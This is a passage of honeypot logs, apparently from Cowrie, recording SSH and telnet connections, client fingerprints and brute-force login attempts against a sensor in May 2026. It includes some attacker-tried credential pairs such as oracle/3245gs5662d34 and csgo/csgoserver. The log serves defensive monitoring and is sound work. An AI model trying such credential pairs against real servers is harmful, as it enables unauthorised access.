256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:24.390976Z","src_ip":"154.198.162.75","session":"dd829e41a63b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:25.244309Z","src_ip":"154.198.162.75","session":"dd829e41a63b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:25.452839Z","src_ip":"154.198.162.75","session":"dd829e41a63b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:25.457921Z","src_ip":"154.198.162.75","session":"f6f98bddcd98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.950575351715088,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:28.744303Z","src_ip":"50.6.18.72","session":"0a7686e23b3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":59936,"dst_ip":"159.203.135.109","dst_port":23,"session":"d66aac7db529","protocol":"telnet","message":"New connection: 147.182.143.59:59936 (159.203.135.109:23) [session: d66aac7db529]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:28.922284Z"}
{"eventid":"cowrie.session.closed","duration":31.112048625946045,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:31.168645Z","src_ip":"50.6.18.72","session":"aafe132fb9e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.419806480407715,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:34.079554Z","src_ip":"50.6.18.72","session":"4ce39aa65aaa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.063647985458374,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:34.931345Z","src_ip":"50.6.18.72","session":"1d925431d90d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.24170970916748,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:43.079565Z","src_ip":"50.6.18.72","session":"532192f98b2b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.514936447143555,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:45.465264Z","src_ip":"45.58.127.90","session":"1b9e61386fb4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.82.77.33","src_port":59592,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8aea24a0cef","protocol":"telnet","message":"New connection: 80.82.77.33:59592 (159.203.135.109:23) [session: c8aea24a0cef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:45.824853Z"}
{"eventid":"cowrie.session.closed","duration":17.03888750076294,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:45.961066Z","src_ip":"147.182.143.59","session":"d66aac7db529","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.82.77.33","src_port":60778,"dst_ip":"159.203.135.109","dst_port":23,"session":"e40c8c0f45be","protocol":"telnet","message":"New connection: 80.82.77.33:60778 (159.203.135.109:23) [session: e40c8c0f45be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:46.998966Z"}
{"eventid":"cowrie.session.closed","duration":0.009682178497314453,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:47.008518Z","src_ip":"80.82.77.33","session":"e40c8c0f45be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.82.77.33","src_port":60996,"dst_ip":"159.203.135.109","dst_port":23,"session":"336c6d445dad","protocol":"telnet","message":"New connection: 80.82.77.33:60996 (159.203.135.109:23) [session: 336c6d445dad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:47.279447Z"}
{"eventid":"cowrie.session.closed","duration":0.005484580993652344,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:47.284786Z","src_ip":"80.82.77.33","session":"336c6d445dad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.82.77.33","src_port":33022,"dst_ip":"159.203.135.109","dst_port":23,"session":"19c8d31b9e0d","protocol":"telnet","message":"New connection: 80.82.77.33:33022 (159.203.135.109:23) [session: 19c8d31b9e0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:47.487751Z"}
{"eventid":"cowrie.session.closed","duration":0.004920244216918945,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:47.492540Z","src_ip":"80.82.77.33","session":"19c8d31b9e0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.803154945373535,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:47.858431Z","src_ip":"45.58.127.90","session":"0261ea0eb7ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.59786558151245,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:49.346608Z","src_ip":"45.58.127.90","session":"68bd7666a040","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.890209436416626,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:49.714935Z","src_ip":"80.82.77.33","session":"c8aea24a0cef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.993818998336792,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:51.769579Z","src_ip":"50.6.18.72","session":"6499fb7447d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":48434,"dst_ip":"159.203.135.109","dst_port":23,"session":"aabecbc5a839","protocol":"telnet","message":"New connection: 50.6.18.72:48434 (159.203.135.109:23) [session: aabecbc5a839]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:52.055920Z"}
{"eventid":"cowrie.session.closed","duration":30.862833499908447,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:53.537648Z","src_ip":"50.6.18.72","session":"d01e771578df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":48450,"dst_ip":"159.203.135.109","dst_port":23,"session":"13c78cb422e0","protocol":"telnet","message":"New connection: 50.6.18.72:48450 (159.203.135.109:23) [session: 13c78cb422e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:53.810303Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":48452,"dst_ip":"159.203.135.109","dst_port":23,"session":"f62a42646d7c","protocol":"telnet","message":"New connection: 50.6.18.72:48452 (159.203.135.109:23) [session: f62a42646d7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:53.825963Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":48462,"dst_ip":"159.203.135.109","dst_port":23,"session":"72c75367e60b","protocol":"telnet","message":"New connection: 50.6.18.72:48462 (159.203.135.109:23) [session: 72c75367e60b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:54.051314Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":55556,"dst_ip":"159.203.135.109","dst_port":23,"session":"124da6acd193","protocol":"telnet","message":"New connection: 50.6.18.72:55556 (159.203.135.109:23) [session: 124da6acd193]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:55.767771Z"}
{"eventid":"cowrie.session.closed","duration":37.113781452178955,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:57.427537Z","src_ip":"45.58.127.90","session":"3b683b3f20bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":55570,"dst_ip":"159.203.135.109","dst_port":23,"session":"25da9b5377df","protocol":"telnet","message":"New connection: 50.6.18.72:55570 (159.203.135.109:23) [session: 25da9b5377df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:58.053769Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":55580,"dst_ip":"159.203.135.109","dst_port":23,"session":"460357232a9b","protocol":"telnet","message":"New connection: 50.6.18.72:55580 (159.203.135.109:23) [session: 460357232a9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:58.198202Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":55594,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6d6416cfb68","protocol":"telnet","message":"New connection: 50.6.18.72:55594 (159.203.135.109:23) [session: b6d6416cfb68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:59.495123Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.106.245.20","src_port":48503,"dst_ip":"10.17.0.5","dst_port":22,"session":"f542d4578926","protocol":"ssh","message":"New connection: 193.106.245.20:48503 (10.17.0.5:22) [session: f542d4578926]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:01.454658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:01.459864Z","src_ip":"193.106.245.20","session":"f542d4578926","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:01.581781Z","src_ip":"193.106.245.20","session":"f542d4578926","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"csgo","password":"csgoserver","message":"login attempt [csgo/csgoserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:02.095454Z","src_ip":"193.106.245.20","session":"f542d4578926","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:03.218491Z","src_ip":"193.106.245.20","session":"f542d4578926","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":55606,"dst_ip":"159.203.135.109","dst_port":23,"session":"8116b19ae7dc","protocol":"telnet","message":"New connection: 50.6.18.72:55606 (159.203.135.109:23) [session: 8116b19ae7dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:03.723707Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":48584,"dst_ip":"159.203.135.109","dst_port":23,"session":"3301d40cbeca","protocol":"telnet","message":"New connection: 50.6.18.72:48584 (159.203.135.109:23) [session: 3301d40cbeca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:05.581874Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":55622,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fac1e6c6ded","protocol":"telnet","message":"New connection: 50.6.18.72:55622 (159.203.135.109:23) [session: 9fac1e6c6ded]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:05.795344Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":48606,"dst_ip":"159.203.135.109","dst_port":23,"session":"25bdcd7c57cb","protocol":"telnet","message":"New connection: 50.6.18.72:48606 (159.203.135.109:23) [session: 25bdcd7c57cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:08.864636Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":48614,"dst_ip":"159.203.135.109","dst_port":23,"session":"a173cf4ed0c1","protocol":"telnet","message":"New connection: 50.6.18.72:48614 (159.203.135.109:23) [session: a173cf4ed0c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:09.357839Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":48592,"dst_ip":"159.203.135.109","dst_port":23,"session":"54f39ff49372","protocol":"telnet","message":"New connection: 50.6.18.72:48592 (159.203.135.109:23) [session: 54f39ff49372]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:11.138282Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":38756,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ddf8a306442","protocol":"telnet","message":"New connection: 45.58.127.90:38756 (10.17.0.5:23) [session: 5ddf8a306442]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:11.635829Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":38766,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9c1c67ed204","protocol":"telnet","message":"New connection: 45.58.127.90:38766 (10.17.0.5:23) [session: a9c1c67ed204]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:11.833591Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":46034,"dst_ip":"159.203.135.109","dst_port":22,"session":"8827f0c60a4c","protocol":"ssh","message":"New connection: 45.148.10.121:46034 (159.203.135.109:22) [session: 8827f0c60a4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:12.067864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:12.073387Z","src_ip":"45.148.10.121","session":"8827f0c60a4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:12.158330Z","src_ip":"45.148.10.121","session":"8827f0c60a4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":38776,"dst_ip":"10.17.0.5","dst_port":23,"session":"894072c65ceb","protocol":"telnet","message":"New connection: 45.58.127.90:38776 (10.17.0.5:23) [session: 894072c65ceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:12.572346Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":48616,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ca33f7cfd48","protocol":"telnet","message":"New connection: 50.6.18.72:48616 (159.203.135.109:23) [session: 9ca33f7cfd48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:12.660562Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":48618,"dst_ip":"159.203.135.109","dst_port":23,"session":"7cc67fe33f3d","protocol":"telnet","message":"New connection: 50.6.18.72:48618 (159.203.135.109:23) [session: 7cc67fe33f3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:14.362982Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":46260,"dst_ip":"159.203.135.109","dst_port":23,"session":"a634bf90d767","protocol":"telnet","message":"New connection: 50.6.18.72:46260 (159.203.135.109:23) [session: a634bf90d767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:17.029196Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.198.162.75","src_port":38538,"dst_ip":"10.17.0.5","dst_port":22,"session":"18ea4b1d4df7","protocol":"ssh","message":"New connection: 154.198.162.75:38538 (10.17.0.5:22) [session: 18ea4b1d4df7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:21.098759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:21.104479Z","src_ip":"154.198.162.75","session":"18ea4b1d4df7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:21.312073Z","src_ip":"154.198.162.75","session":"18ea4b1d4df7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeakserver","password":"teamspeakserver","message":"login attempt [teamspeakserver/teamspeakserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:22.167375Z","src_ip":"154.198.162.75","session":"18ea4b1d4df7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:23.378689Z","src_ip":"154.198.162.75","session":"18ea4b1d4df7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.43158531188965,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:23.487396Z","src_ip":"50.6.18.72","session":"aabecbc5a839","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5575532913208,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:24.608730Z","src_ip":"50.6.18.72","session":"72c75367e60b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78857421875,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:24.614430Z","src_ip":"50.6.18.72","session":"f62a42646d7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.107333660125732,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:24.917531Z","src_ip":"50.6.18.72","session":"13c78cb422e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":46270,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee82728e8211","protocol":"telnet","message":"New connection: 50.6.18.72:46270 (159.203.135.109:23) [session: ee82728e8211]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:26.630401Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":36974,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a0dec838cc9","protocol":"telnet","message":"New connection: 50.6.18.72:36974 (159.203.135.109:23) [session: 3a0dec838cc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:26.691696Z"}
{"eventid":"cowrie.session.closed","duration":31.276447057724,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:27.044072Z","src_ip":"50.6.18.72","session":"124da6acd193","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7760009765625,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:28.974091Z","src_ip":"50.6.18.72","session":"460357232a9b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.225106477737427,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:29.278766Z","src_ip":"50.6.18.72","session":"25da9b5377df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":54178,"dst_ip":"10.17.0.5","dst_port":23,"session":"cffc1534a8c3","protocol":"telnet","message":"New connection: 45.58.127.90:54178 (10.17.0.5:23) [session: cffc1534a8c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:30.165906Z"}
{"eventid":"cowrie.session.closed","duration":31.12049174308777,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:30.615491Z","src_ip":"50.6.18.72","session":"b6d6416cfb68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":58208,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0e5b6b86db4","protocol":"telnet","message":"New connection: 45.58.127.90:58208 (10.17.0.5:23) [session: f0e5b6b86db4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:33.173302Z"}
{"eventid":"cowrie.session.closed","duration":30.919950008392334,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:20:34.643511Z","src_ip":"50.6.18.72","session":"8116b19ae7dc","protocol":"telnet"}
